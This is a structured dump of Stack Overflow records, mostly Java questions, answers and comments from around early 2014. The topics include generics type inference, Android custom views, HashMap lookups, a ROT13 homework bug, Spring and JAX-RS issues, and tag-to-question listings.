has comment: http://stackoverflow.com/comment/33859497
has answer: http://stackoverflow.com/a/22288970
has comment: http://stackoverflow.com/comment/33859313
has comment: http://stackoverflow.com/comment/33859493
has comment: http://stackoverflow.com/comment/33859000
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33859406
has comment: http://stackoverflow.com/comment/33859529
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33859255
upvote count: 1
has answer: http://stackoverflow.com/a/22289579
type: Question
has comment: http://stackoverflow.com/comment/33858999
has comment: http://stackoverflow.com/comment/33862943
has comment: http://stackoverflow.com/comment/33861208
has comment: http://stackoverflow.com/comment/33859788
has comment: http://stackoverflow.com/comment/33859389
has comment: http://stackoverflow.com/comment/33859251
possible better answer: http://stackoverflow.com/a/22287415
has comment: http://stackoverflow.com/comment/33861877
has title: Parse CSV file to a generic class - Java generics
answer count: 3

filereader
tags question: http://stackoverflow.com/q/22173685
tag name: filereader
tags question: http://stackoverflow.com/q/22199220
tags question: http://stackoverflow.com/q/22225529
type: Tag
tags question: http://stackoverflow.com/q/22251287
tags question: http://stackoverflow.com/q/22211832

memcached
tags question: http://stackoverflow.com/q/22327168
tags question: http://stackoverflow.com/q/22186235
tags question: http://stackoverflow.com/q/22203421
tag name: memcached
type: Tag

http://stackoverflow.com/a/22290104
has comment: http://stackoverflow.com/comment/33867797
score: 13
has comment: http://stackoverflow.com/comment/33865966
has comment: http://stackoverflow.com/comment/33886857
accepted answer of: http://stackoverflow.com/q/22280055
has comment: http://stackoverflow.com/comment/33866484
answers question: http://stackoverflow.com/q/22280055
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33889691
upvote count: 13
has comment: http://stackoverflow.com/comment/33888481
has comment: http://stackoverflow.com/comment/33867828
has comment: http://stackoverflow.com/comment/33898023
has body: how does the method infer the type of &lt;T&gt; It doesn't. Generic methods don't infer their generic types - that's why T is called a type parameter. The caller of the method provides a type argument for T. When it does, it may be inferred by the compiler based on the context of the method call's arguments and target type. For example: Set&lt;String&gt; c = Collections.emptySet(); emptySet declares a type parameter T, takes no arguments, and returns a Set&lt;T&gt;. Here, the compiler infers T to be String based on the target type, Set&lt;String&gt;. Another example: Collections.singleton("asdf"); singleton declares a type parameter T, takes a T, and returns a Set&lt;T&gt;. Here, there is no target type, but the compiler infers T to be String based on the argument "asdf". But generic type inference is just a convenience. Without it, we could still use type witnesses to explicitly provide type arguments: Set&lt;String&gt; c = Collections.&lt;String&gt;emptySet(); Collections.&lt;String&gt;singleton("asdf"); This brings us to your method signature: public &lt;T&gt; void fromJsonArray(String jsonString, Type tToken) fromJsonArray declares a type parameter T, but doesn't return anything related to the type T or take arguments related to T. At a call to fromJsonArray, the compiler has no information from which to infer T. Its type argument will default to its upper bound Object unless a type witness is used: myObj.&lt;String&gt;fromJsonArray(jsonString, tToken); But this doesn't matter because &lt;String&gt; has no affect on the behavior of the method call or its compilation. T is meaningless* and can be removed from the declaration of fromJsonArray. how does the compiler assign the value returned by the fromJson method to the variable list whose type i have not specified? Here is the source of Gson.fromJson(String, Type): @SuppressWarnings("unchecked") public &lt;T&gt; T fromJson(String json, Type typeOfT) throws JsonParseException { StringReader reader = new StringRead…
type: Answer
has comment: http://stackoverflow.com/comment/33866158
has comment: http://stackoverflow.com/comment/33870045
has comment: http://stackoverflow.com/comment/33866109

http://stackoverflow.com/comment/33805954
type: QuestionComment
type: Comment
has text: @WalidY i dnt thnk b.getLetters()[0].setText(typed + ""); can throw such exception.Can u debug more
score: 0
comment on: http://stackoverflow.com/q/22257495

http://stackoverflow.com/comment/33675908
score: 0
type: AnswerComment
has text: of course, "imgs/img_not_activated.png" must be in the classpath
comment on: http://stackoverflow.com/a/22185553
type: Comment

http://stackoverflow.com/comment/33826195
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22264494
has text: Have you verified that the class you wish to load is indeed included in the jar?
score: 0

http://stackoverflow.com/a/22269434
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22269392
has body: In java, u can use split method of String or can use Scanner.useDelimiter(pattern) Ex- String str = "123:23:21"; String[] nums = str.split(":"); num[0] - 123, num[1] = 23, num[2] = 21 //output
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22269392

http://stackoverflow.com/q/22291008
accepted answer: http://stackoverflow.com/a/22313757
type: Question
has title: Putting Custom View Inside a Custom ScrollView
tagged with: java
has comment: http://stackoverflow.com/comment/33904839
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33866681
favorite count: 0
has answer: http://stackoverflow.com/a/22313757
tagged with: android
has comment: http://stackoverflow.com/comment/33902057
tagged with: scrollview
score: 2
type: AnsweredQuestion
tagged with: view
upvote count: 2
has body: I am creating an android app with a customized view and a customized ScrollView. I am attempting to put the custom view inside of the scroll view. It does not appear to work, as I am just receiving a blank screen. Dashboard.java package com.commentblock.fandoms; import com.commentblock.fandom.R; import com.commentblock.fandom.R.layout; import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.view.KeyEvent; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.ViewGroup.LayoutParams; import android.view.Window; import android.widget.LinearLayout; import android.widget.ScrollView; import android.widget.Toast; public class Dashboard extends Activity { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); //Set the content view to the dashbaord this.requestWindowFeature(Window.FEATURE_NO_TITLE); this.setContentView(new StatusViewScroll(this)); } } StatusViewScroll.java package com.commentblock.fandoms; import android.content.Context; import android.view.View; import android.widget.RelativeLayout; import android.widget.ScrollView; public class StatusViewScroll extends RelativeLayout { public StatusViewScroll(Context c) { super(c); ScrollView scrollView = new ScrollView(c); StatusView statusView = new StatusView(c); scrollView.addView(statusView); addView(scrollView); } } StatusView.java works just fine without the ScrollView, but when I add it to the ScrollView, it just breaks. No errors, just a black screen.

http://stackoverflow.com/comment/33795588
type: QuestionComment
comment on: http://stackoverflow.com/q/22252297
has text: What do you want to achieve?
score: 0
type: Comment

http://stackoverflow.com/comment/33771798
type: QuestionComment
comment on: http://stackoverflow.com/q/22238699
has text: This will fail if your String ends with a `'1'`.
score: 0
type: Comment

http://stackoverflow.com/comment/40254117
type: AnswerComment
type: Comment
score: 1
has text: It helped me to understand Splash screen. Thank you Pavel.
comment on: http://stackoverflow.com/a/22279211

http://stackoverflow.com/comment/33842748
comment on: http://stackoverflow.com/a/22277683
type: Comment
score: 0
has text: Exception in thread "AWT-EventQueue-0" java.lang.StackOverflowError at javax.swing.text.StyleContext$SmallAttributeSet.containsAttributes(StyleContext.java:973) at javax.swing.text.StyleContext$SmallAttributeSet.equals(StyleContext.java:852) at java.util.WeakHashMap.eq(WeakHashMap.java:343) at java.util.WeakHashMap.get(WeakHashMap.java:468) at java.util.Collections$SynchronizedMap.get(Collections.java:2037)
type: AnswerComment

list
type: Tag
tags question: http://stackoverflow.com/q/22284003
tags question: http://stackoverflow.com/q/22241297
tags question: http://stackoverflow.com/q/22184105
tags question: http://stackoverflow.com/q/22324520
tags question: http://stackoverflow.com/q/22207928
tags question: http://stackoverflow.com/q/22225922
tags question: http://stackoverflow.com/q/22194413
tag name: list
tags question: http://stackoverflow.com/q/22319258
tags question: http://stackoverflow.com/q/22262832
tags question: http://stackoverflow.com/q/22194490
tags question: http://stackoverflow.com/q/22282820
tags question: http://stackoverflow.com/q/22218844
tags question: http://stackoverflow.com/q/22230033
tags question: http://stackoverflow.com/q/22277707
tags question: http://stackoverflow.com/q/22222100
tags question: http://stackoverflow.com/q/22203958
tags question: http://stackoverflow.com/q/22256685
tags question: http://stackoverflow.com/q/22206188
tags question: http://stackoverflow.com/q/22309812
tags question: http://stackoverflow.com/q/22261314
tags question: http://stackoverflow.com/q/22274645
tags question: http://stackoverflow.com/q/22188690
tags question: http://stackoverflow.com/q/22188407
tags question: http://stackoverflow.com/q/22223462

http://stackoverflow.com/q/22259588
tagged with: division
tagged with: floating-point
has comment: http://stackoverflow.com/comment/33809376
has comment: http://stackoverflow.com/comment/33809214
type: Question
has comment: http://stackoverflow.com/comment/33809551
tagged with: long-integer
tagged with: java
has comment: http://stackoverflow.com/comment/33809304
has comment: http://stackoverflow.com/comment/33809294
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/33809354
has answer: http://stackoverflow.com/a/22260080
accepted answer: http://stackoverflow.com/a/22260080
has answer: http://stackoverflow.com/a/22259715
tagged with: precision
favorite count: 0
has title: Dividing two large longs while retaining precision and accuracy
has comment: http://stackoverflow.com/comment/33809391
possible better answer: http://stackoverflow.com/a/22259715
has comment: http://stackoverflow.com/comment/33809186
has comment: http://stackoverflow.com/comment/33811092
has body: I have two large long values, e.g. long a = 106951484895 and long b = 47666297253. I want to divide one by the other, while still retaining precision and accuracy. a / b gives just 2, which is neither precise nor accurate. (double)a / b returns 2.243754834308401 which is precise, but I don't know whether it is accurate. Is it accurate, or is there a better way?
score: 2
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/22297609
has comment: http://stackoverflow.com/comment/33878206
has comment: http://stackoverflow.com/comment/33877903
accepted answer: http://stackoverflow.com/a/22297755
type: Question
has comment: http://stackoverflow.com/comment/33877945
has comment: http://stackoverflow.com/comment/33878154
tagged with: hashmap
has answer: http://stackoverflow.com/a/22297721
has title: check if a value already exists in a Hash Map
score: -1
has answer: http://stackoverflow.com/a/22297755
downvote count: 2
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/22477176
has comment: http://stackoverflow.com/comment/33877627
has comment: http://stackoverflow.com/comment/33879081
favorite count: 0
has body: have a method in which I'm trying to iterate through the values of a HashMap and to check if they match a specific string - if they do, then I want the method to return false. I had a look at a few topics and this is what I've come up with although it does not seem to work: class Person { public int check(String newName, String newNumber) { for (Person recordObject : map.values()) { if (map.get(recordObject) != null &amp;&amp; map.get(recordObject).toString().equals(newNumber)) { return 0; } } map.put(newName, newNumber); return 1; } } At the moment my program always creates a record for some person, even if they have already been added to the map so it does not actually go into the if of the check method.
has comment: http://stackoverflow.com/comment/33877450
has comment: http://stackoverflow.com/comment/33877558
possible better answer: http://stackoverflow.com/a/22297721
has comment: http://stackoverflow.com/comment/33897886
tagged with: dictionary
has comment: http://stackoverflow.com/comment/33877939
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/a/22177840
score: 1
accepted answer of: http://stackoverflow.com/q/22177570
type: Answer
answers question: http://stackoverflow.com/q/22177570
has body: Let's say I want to write an instance of Foo to a file. I need to make Foo implement Serializable, like this: public class Foo implements Serializable {} If Foo is serializable, every object inside Foo must be too. If Foo contains Bar, Bar must also implement Serializable. If Bar contains an ArrayList&lt;Baz&gt;, Baz must be serializable. ArrayList is already serializable, so you don't have to worry about it. Notice that you don't actually have to implement anything for an object to be serializable. You only have to mark it with the proper interface.
upvote count: 1
has comment: http://stackoverflow.com/comment/33661781
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/22304873
has answer: http://stackoverflow.com/a/23992832
tagged with: spring
accepted answer: http://stackoverflow.com/a/23992832
score: 2
type: AnsweredQuestion
has title: How to properly shut down a tcp socket connection in spring?
tagged with: spring-integration
tagged with: java
type: Question
upvote count: 2
has body: I'm using Spring integration to manage a socket connection on the server side. How can I ensure that any active socket connections are terminated properly if the server (tomcat) is shutdown? &lt;ip:tcp-inbound-gateway id="server" connection-factory="fac" request-channel="chan" error-channel="errorChan" /&gt; Is there some kind listener? Or any interceptor that can prevent server shutdown, e.g. for max 60 seconds if there is any open socket during shutdown; but meanwhile close the socket to not accept any connections during shutdown?
answer count: 1
favorite count: 0
downvote count: 0
tagged with: sockets

http://stackoverflow.com/q/22301396
type: Question
has comment: http://stackoverflow.com/comment/33885071
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22354648
has answer: http://stackoverflow.com/a/22301595
answer count: 2
possible better answer: http://stackoverflow.com/a/22301595
tagged with: intellij-idea
downvote count: 0
favorite count: 0
has body: I'll admit that I'm pretty stumped. I've taken over a project at work and it's a very simple Android application with very few dependencies. Building should be a cinch, but I'm using Android Studio and I'm new to it. At compile-time, I'm getting the following errors and I'm not sure what they mean. How can I resolve these error so I generate a build I can deploy to a device? Information:Using javac 1.6.0_65 to compile java sources Information:Compilation completed with 8 errors and 0 warnings in 2 sec Information:8 errors Information:0 warnings Error:java: /bin/com/example/android/R$attr.class (No such file or directory) Error:java: /bin/com/example/android/R$drawable.class (No such file or directory) Error:java: /bin/com/example/android/R$id.class (No such file or directory) Error:java: /bin/com/example/android/R$layout.class (No such file or directory) Error:java: /bin/com/example/android/R$string.class (No such file or directory) Error:java: /bin/com/example/android/R.class (No such file or directory) Error:java: /bin/com/example/android/BuildConfig.class (No such file or directory) Error:Android Packager: [ExampleApplication] java.io.FileNotFoundException: /bin/ExampleApplication.unaligned.apk (Permission denied) Just so you know, I did a Rebuild (same as Clean and Build?) in Android Studio and this is my output.
tagged with: android
tagged with: android-studio
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/22354648
tagged with: java
has title: How do I resolve .class-related file not found errors in Android Studio on compile?

http://stackoverflow.com/comment/33811606
comment on: http://stackoverflow.com/a/22195975
score: 0
type: AnswerComment
has text: I'm guessing you can also do something similar and try to instantiate an Android specific class.
type: Comment

http://stackoverflow.com/comment/33674162
type: AnswerComment
has text: @AndreiNicusan gotcha. sounds like you and the other guy is right. there isn't a OOP solution to this classic problem. Thanks for the insight
comment on: http://stackoverflow.com/a/22184307
type: Comment
score: 0

http://stackoverflow.com/q/22280127
tagged with: jersey
has body: suppose i have some jax-rs resource class: @Consumes(MediaType.APPLICATION_JSON) @Produces(MediaType.APPLICATION_JSON) public class ResourceA { @GET public Something get(@Context UriInfo uriInfo) { if (...) { //how to get to ResourceB ? } } } and i want to conditionally redirect the call to some other jax-rs resource: public class ResourceB { @GET @Path("{identifier}") public Other get(@PathParam("identifier")String someArg) { } } how do i do this? note that i dont want this to be visible to the client (so no http redirects) and generally the resource methods i want to redirect to dont share the same signature (they may have path params etc as in the example i gave). im running jersey 2.6 under apache tomcat (its a spring app, if thats any help) EDIT - im looking for a jax-rs equivalent of servlet forward. i dont want to do an extra http hop or worry abour instantiating resource classes myself
answer count: 2
downvote count: 0
tagged with: jax-rs
favorite count: 0
has answer: http://stackoverflow.com/a/37871509
upvote count: 16
type: AnsweredQuestion
tagged with: java
possible better answer: http://stackoverflow.com/a/22303243
score: 16
accepted answer: http://stackoverflow.com/a/37871509
has answer: http://stackoverflow.com/a/22303243
has title: is it possible to call one jax-rs method from another?
type: Question
linked to: http://stackoverflow.com/q/6944500

http://stackoverflow.com/q/22201659
has comment: http://stackoverflow.com/comment/55803165
tagged with: delay
tagged with: websocket
has comment: http://stackoverflow.com/comment/33746340
tagged with: tomcat
favorite count: 0
has comment: http://stackoverflow.com/comment/33709507
has comment: http://stackoverflow.com/comment/33747609
upvote count: 4
tagged with: lag
answer count: 0
downvote count: 0
type: UnansweredQuestion
has title: WebSocket connection delay without localhost
has comment: http://stackoverflow.com/comment/33747578
has body: I'm developing a WebApp in a company using WebSockets. It's currently in a basic "client sends message, server responds"-state and works just as it's supposed to work... under localhost that is. I'm using a Tomcat 7 and Netbeans to deploy the app. So basically I reach it under localhost:8080/WebApp and the WebSocket itself is referenced as var ws = new WebSocket("ws://localhost:8080/WebSocketTest/WsSendTest"); If I now change the "localhost" to my Network IP I can still reach the Website, but the functionality seems broken. I have a "ping" button that sends a ping-msg to the server. If I rapidly click on that the functionality seems to be restored. But after F5-ing it's broken again. It only seem to happen when I change the ws:// path to my IP. Weird thing is, the onOpen()-method is implemented in a way, that it logs the session-ID of any client connecting to the WebSocket and it recognizes the connection immediately. Just the rest seems to "lag" or "block"? I will end up having to use the IP since other ppl in the network can't rech the ws:// if it's set on localhost in the webpage. Can anyone relate?
tagged with: java
score: 4
type: Question
has comment: http://stackoverflow.com/comment/67495046

http://stackoverflow.com/comment/33911268
comment on: http://stackoverflow.com/q/22315583
has text: I have found earlier that the Eclipse in the Ubuntu repositories was not quite up to date and I just download the newest and unzip it. That might be useful for creating a new workspace and reconstruct your work by copying the existing sources into new projects. When you are done with that, I would suggest learning version control which is intended for exactly these situations. A good suggestion is git (and use github for remote storage).
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/22204659
tagged with: build
type: AnsweredQuestion
tagged with: android-appcompat
downvote count: 0
has answer: http://stackoverflow.com/a/22204948
tagged with: java
has title: Eclipse ADT appcompat... what is it?
possible better answer: http://stackoverflow.com/a/32229202
has comment: http://stackoverflow.com/comment/33709827
type: Question
has answer: http://stackoverflow.com/a/32229202
score: 22
tagged with: eclipse
answer count: 2
favorite count: 0
accepted answer: http://stackoverflow.com/a/22204948
tagged with: android
has comment: http://stackoverflow.com/comment/33710102
upvote count: 22
has body: I've spent all afternoon getting absolutely nowhere with this. I've downloaded Eclipse, downloaded the SDK, installed the updates, but every new Android project I create something's wrong. Firstly, it would not generate the R.java file, at all, now it does but there's a separate project it's created automatically called appcompat_v7. I don't know what this is, but it's causing problems with any other new project. This is the error a normal project produces: The container 'Android Dependencies' references non existing library '/home/omar/workspace/appcompat_v7/bin/appcompat_v7.jar' I have absolutely no idea how to fix this. What is causing this? EDIT It appear this is only with KitKat, every other API platform doesn't produce ANY source files at all.... any idea how to combat this?

http://stackoverflow.com/comment/33811487
score: 0
type: AnswerComment
has text: +1 (There is a disclaimer on my answer btw). I would change `incrementScore` to a synchronized method. His asteroids all have their own thread.
type: Comment
comment on: http://stackoverflow.com/a/22260618

http://stackoverflow.com/q/22226660
tagged with: equivalence
upvote count: 1
favorite count: 0
has title: Equivalence of java.util.ResourceBundle in C++
has comment: http://stackoverflow.com/comment/33748635
has comment: http://stackoverflow.com/comment/33748579
tagged with: c++
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/23385210
accepted answer: http://stackoverflow.com/a/23385210
downvote count: 0
possible better answer: http://stackoverflow.com/a/22227196
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/22227196
has comment: http://stackoverflow.com/comment/33748480
type: Question
answer count: 2
has body: I have a Java class that uses more lines similar to the following ones private static final int PARAM_1 = Integer.valueOf(ResourceBundle.getBundle("solution.filtres").getString("filtre.param1.solution")); private static final int PARAM_2 = Integer.valueOf(ResourceBundle.getBundle("solution.filtres").getString("filtre.param2.solution")); and the file filtres.properties found in solution folder contains: filtre.param1.solution=1.5 filtre.param2.solution=6 I know that ResourceBundle is used for user locale, but it seems that it just assigns values to static members from a specific file. I want to do something similar in C++. I have found this for C++, but it seems a little strange for what it does; so I am asking: Is it something similar to ResourceBundle in C++ (not what I have found)? If yes, what, and where can I find some examples? Do you advice me to do it in a simpler way? I would appreciate some code if anyone did some kind of this assignments.

http://stackoverflow.com/comment/33761170
type: Comment
comment on: http://stackoverflow.com/q/22233269
type: QuestionComment
score: 0
has text: sorry! I added some extra info about what I need here

http://stackoverflow.com/q/22216478
answer count: 3
favorite count: 0
has comment: http://stackoverflow.com/comment/33731124
tagged with: constructor
type: UnansweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/22216787
has title: how to set message to a custom exception class without setting through super constructor in java
has body: I want to process the variable and set the message but it is not possible as I am only allowed to call the super constructor at the first line only.Is there a way so that I can can set the exception message without calling the super constructor.
has answer: http://stackoverflow.com/a/22216828
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33731122
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/22216772

spring-mvc
tags question: http://stackoverflow.com/q/22291238
tags question: http://stackoverflow.com/q/22204025
tags question: http://stackoverflow.com/q/22293665
tags question: http://stackoverflow.com/q/22207776
tags question: http://stackoverflow.com/q/22301148
tags question: http://stackoverflow.com/q/22297112
tags question: http://stackoverflow.com/q/22297052
tags question: http://stackoverflow.com/q/22180541
tags question: http://stackoverflow.com/q/22213288
tags question: http://stackoverflow.com/q/22172538
tags question: http://stackoverflow.com/q/22233269
tags question: http://stackoverflow.com/q/22262351
tags question: http://stackoverflow.com/q/22246138
tags question: http://stackoverflow.com/q/22268535
tags question: http://stackoverflow.com/q/22277997
tags question: http://stackoverflow.com/q/22214629
tags question: http://stackoverflow.com/q/22282107
tags question: http://stackoverflow.com/q/22296448
tags question: http://stackoverflow.com/q/22225211
tags question: http://stackoverflow.com/q/22274972
tags question: http://stackoverflow.com/q/22200057
tags question: http://stackoverflow.com/q/22321050
tags question: http://stackoverflow.com/q/22298728
tags question: http://stackoverflow.com/q/22320438
tags question: http://stackoverflow.com/q/22245469
tags question: http://stackoverflow.com/q/22264741
tags question: http://stackoverflow.com/q/22239526
tags question: http://stackoverflow.com/q/22206165
tag name: spring-mvc
tags question: http://stackoverflow.com/q/22181259
tags question: http://stackoverflow.com/q/22198729
tags question: http://stackoverflow.com/q/22287148
tags question: http://stackoverflow.com/q/22325052
tags question: http://stackoverflow.com/q/22253731
tags question: http://stackoverflow.com/q/22311369
tags question: http://stackoverflow.com/q/22199769
tags question: http://stackoverflow.com/q/22218721
tags question: http://stackoverflow.com/q/22175858
tags question: http://stackoverflow.com/q/22313551
tags question: http://stackoverflow.com/q/22240043
tags question: http://stackoverflow.com/q/22249549
tags question: http://stackoverflow.com/q/22292148
type: Tag
tags question: http://stackoverflow.com/q/22171221
tags question: http://stackoverflow.com/q/22285234
tags question: http://stackoverflow.com/q/22225040
tags question: http://stackoverflow.com/q/22310127
tags question: http://stackoverflow.com/q/22193382
tags question: http://stackoverflow.com/q/22179573
tags question: http://stackoverflow.com/q/22248777
tags question: http://stackoverflow.com/q/22229513
tags question: http://stackoverflow.com/q/22273713
tags question: http://stackoverflow.com/q/22182167
tags question: http://stackoverflow.com/q/22291894
tags question: http://stackoverflow.com/q/22206234
tags question: http://stackoverflow.com/q/22241357
tags question: http://stackoverflow.com/q/22293694
tags question: http://stackoverflow.com/q/22186934
tags question: http://stackoverflow.com/q/22171034
tags question: http://stackoverflow.com/q/22180329
tags question: http://stackoverflow.com/q/22315672
tags question: http://stackoverflow.com/q/22184566
tags question: http://stackoverflow.com/q/22260528
tags question: http://stackoverflow.com/q/22306864
tags question: http://stackoverflow.com/q/22248018
tags question: http://stackoverflow.com/q/22183178
tags question: http://stackoverflow.com/q/22271645
tags question: http://stackoverflow.com/q/22267191
tags question: http://stackoverflow.com/q/22273056
tags question: http://stackoverflow.com/q/22321753

arrays
tags question: http://stackoverflow.com/q/22316360
tags question: http://stackoverflow.com/q/22211245
tags question: http://stackoverflow.com/q/22254429
tags question: http://stackoverflow.com/q/22278067
tags question: http://stackoverflow.com/q/22170634
tags question: http://stackoverflow.com/q/22248987
tags question: http://stackoverflow.com/q/22286097
tags question: http://stackoverflow.com/q/22264930
tags question: http://stackoverflow.com/q/22275513
tags question: http://stackoverflow.com/q/22239263
tags question: http://stackoverflow.com/q/22184217
tags question: http://stackoverflow.com/q/22266451
type: Tag
tags question: http://stackoverflow.com/q/22179587
tags question: http://stackoverflow.com/q/22275908
tags question: http://stackoverflow.com/q/22272740
tags question: http://stackoverflow.com/q/22282845
tags question: http://stackoverflow.com/q/22205113
tags question: http://stackoverflow.com/q/22172623
tags question: http://stackoverflow.com/q/22207548
tags question: http://stackoverflow.com/q/22262533
tags question: http://stackoverflow.com/q/22290248
tags question: http://stackoverflow.com/q/22214395
tags question: http://stackoverflow.com/q/22315401
tags question: http://stackoverflow.com/q/22182376
tags question: http://stackoverflow.com/q/22211628
tags question: http://stackoverflow.com/q/22278647
tags question: http://stackoverflow.com/q/22186627
tags question: http://stackoverflow.com/q/22231686
tags question: http://stackoverflow.com/q/22269955
tags question: http://stackoverflow.com/q/22312827
tags question: http://stackoverflow.com/q/22309614
tags question: http://stackoverflow.com/q/22309440
tags question: http://stackoverflow.com/q/22211832
tags question: http://stackoverflow.com/q/22217549
tags question: http://stackoverflow.com/q/22214293
tags question: http://stackoverflow.com/q/22202915
tags question: http://stackoverflow.com/q/22273610
tags question: http://stackoverflow.com/q/22295558
tags question: http://stackoverflow.com/q/22230033
tags question: http://stackoverflow.com/q/22283856
tags question: http://stackoverflow.com/q/22235319
tags question: http://stackoverflow.com/q/22273524
tags question: http://stackoverflow.com/q/22305462
tags question: http://stackoverflow.com/q/22305207
tags question: http://stackoverflow.com/q/22274480
tags question: http://stackoverflow.com/q/22319669
tags question: http://stackoverflow.com/q/22203495
tags question: http://stackoverflow.com/q/22237012
tags question: http://stackoverflow.com/q/22278454
tags question: http://stackoverflow.com/q/22271536
tags question: http://stackoverflow.com/q/22313413
tags question: http://stackoverflow.com/q/22304642
tags question: http://stackoverflow.com/q/22310072
tags question: http://stackoverflow.com/q/22272471
tags question: http://stackoverflow.com/q/22215045
tags question: http://stackoverflow.com/q/22267358
tags question: http://stackoverflow.com/q/22256599
tags question: http://stackoverflow.com/q/22211943
tags question: http://stackoverflow.com/q/22195736
tags question: http://stackoverflow.com/q/22310413
tags question: http://stackoverflow.com/q/22272946
tags question: http://stackoverflow.com/q/22231861
tags question: http://stackoverflow.com/q/22186309
tags question: http://stackoverflow.com/q/22239532
tags question: http://stackoverflow.com/q/22211159
tags question: http://stackoverflow.com/q/22251882
tags question: http://stackoverflow.com/q/22171114
tags question: http://stackoverflow.com/q/22218328
tags question: http://stackoverflow.com/q/22311529
tags question: http://stackoverflow.com/q/22189961
tags question: http://stackoverflow.com/q/22312918
tags question: http://stackoverflow.com/q/22239772
tags question: http://stackoverflow.com/q/22289755
tags question: http://stackoverflow.com/q/22295466
tags question: http://stackoverflow.com/q/22266942
tags question: http://stackoverflow.com/q/22179557
tags question: http://stackoverflow.com/q/22190404
tags question: http://stackoverflow.com/q/22188211
tags question: http://stackoverflow.com/q/22303754

http://stackoverflow.com/q/22323000
score: 0
has comment: http://stackoverflow.com/comment/33922906
type: Question
tagged with: java
accepted answer: http://stackoverflow.com/a/22323382
answer count: 1
tagged with: string
has title: append currentChar to the end of cryptText, saving the result back to cryptText
tagged with: append
has comment: http://stackoverflow.com/comment/33923179
has answer: http://stackoverflow.com/a/22323382
type: AnsweredQuestion
has body: package edu.westga.secretcode; import java.util.Scanner; /** * Creates the secret code class. * * @author Stephen Roland * */ public class SecretCode { /** * Perform the ROT13 operation * * @param plainText * the text to encode * @return the rot13'd encoding of plainText */ public static String rotate13(String plainText) { String cryptText = ""; for (int i = 0; i &lt; plainText.length() - 1; i++) { char currentChar = plainText.charAt(i); currentChar += 13; cryptText.append(currentChar); } return cryptText; } /** * Main method of the SecretCode class * * @param args */ public static void main(String[] args) { Scanner input = new Scanner(System.in); while (1 &gt; 0) { System.out.println("Enter plain text to encode, or QUIT to end"); Scanner keyboard = new Scanner(System.in); String plainText = keyboard.nextLine(); if (plainText.equals("QUIT")) { break; } String cryptText = SecretCode.rotate13(plainText); String encodedText = SecretCode.rotate13(plainText); System.out.println("Encoded Text: " + encodedText); } } } Hey guys I have a simple question. As the question states it says to append currentChar to the end of cryptText, saving the result back to cryptText. What I have did is this in the for loop and it is not working: cryptText.append(currentChar); This seems pretty simple but after researching this for an hour I am stuck. Any help would be greatly appreciated as to how to do this. Thanks in advance.

http://stackoverflow.com/comment/33867357
has text: What classes are you trying to change? If they're not yours, you can't change them without unleashing unspeakable horrors. You probably want to extend those classes and override `isEmpty()`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22291596
score: 1

http://stackoverflow.com/a/22230615
has comment: http://stackoverflow.com/comment/33757411
accepted answer of: http://stackoverflow.com/q/22230487
score: 5
has comment: http://stackoverflow.com/comment/33772695
has body: I would just parse these Strings myself, convert them to seconds or milliseconds and sum them up. See answer 2 below. ANSWER 1 import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Calendar; import java.util.Date; public class Test051 { public static void main(String[] args) throws Exception { String pt = "1970-01-01-"; ArrayList&lt;String&gt; timestampsList = new ArrayList&lt;String&gt;(); timestampsList.add("01:00:05"); timestampsList.add("01:00:05"); timestampsList.add("10:00:05"); final DateFormat dt = new SimpleDateFormat("yyyy-MM-dd-HH:mm:ss"); final Calendar sum = Calendar.getInstance(); sum.setTimeInMillis(0); long tm0 = new SimpleDateFormat("yyyy-MM-dd").parse(pt).getTime(); System.out.println("tm0 = " + tm0); for (final String t : timestampsList) { // System.out.println(dt.parse(pt + t).getTime()); Date x = dt.parse(pt + t); // System.out.println(x.getTime()); sum.add(Calendar.MILLISECOND, (int)x.getTime()); sum.add(Calendar.MILLISECOND, (int)-tm0); } long tm = sum.getTime().getTime(); System.out.println("tm = " + tm); tm = tm / 1000; long hh = tm / 3600; tm %= 3600; long mm = tm / 60; tm %= 60; long ss = tm; System.out.println(format(hh) + ":" + format(mm) + ":" + format(ss)); } private static String format(long s){ if (s &lt; 10) return "0" + s; else return "" + s; } } ANSWER 2 import java.util.ArrayList; public class Test051 { public static void main(String[] args) throws Exception { ArrayList&lt;String&gt; timestampsList = new ArrayList&lt;String&gt;(); timestampsList.add("01:00:05"); timestampsList.add("01:00:05"); timestampsList.add("10:00:05"); long tm = 0; for (String tmp : timestampsList){ String[] arr = tmp.split(":"); tm += Integer.parseInt(arr[2]); tm += 60 * Integer.parseInt(arr[1]); tm += 3600 * Integer.parseInt(arr[0]); } long hh = tm / 3600; tm %= 3600; long mm = tm / 60; tm %= 60; long ss = tm; System.out.println(format(hh) + ":" + format(mm) + ":" + format(ss)); } private static Strin…
has comment: http://stackoverflow.com/comment/33756406
has comment: http://stackoverflow.com/comment/33756731
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33759993
has comment: http://stackoverflow.com/comment/33761798
has comment: http://stackoverflow.com/comment/33760359
has comment: http://stackoverflow.com/comment/33759054
upvote count: 5
has comment: http://stackoverflow.com/comment/33757300
has comment: http://stackoverflow.com/comment/33755918
type: Answer
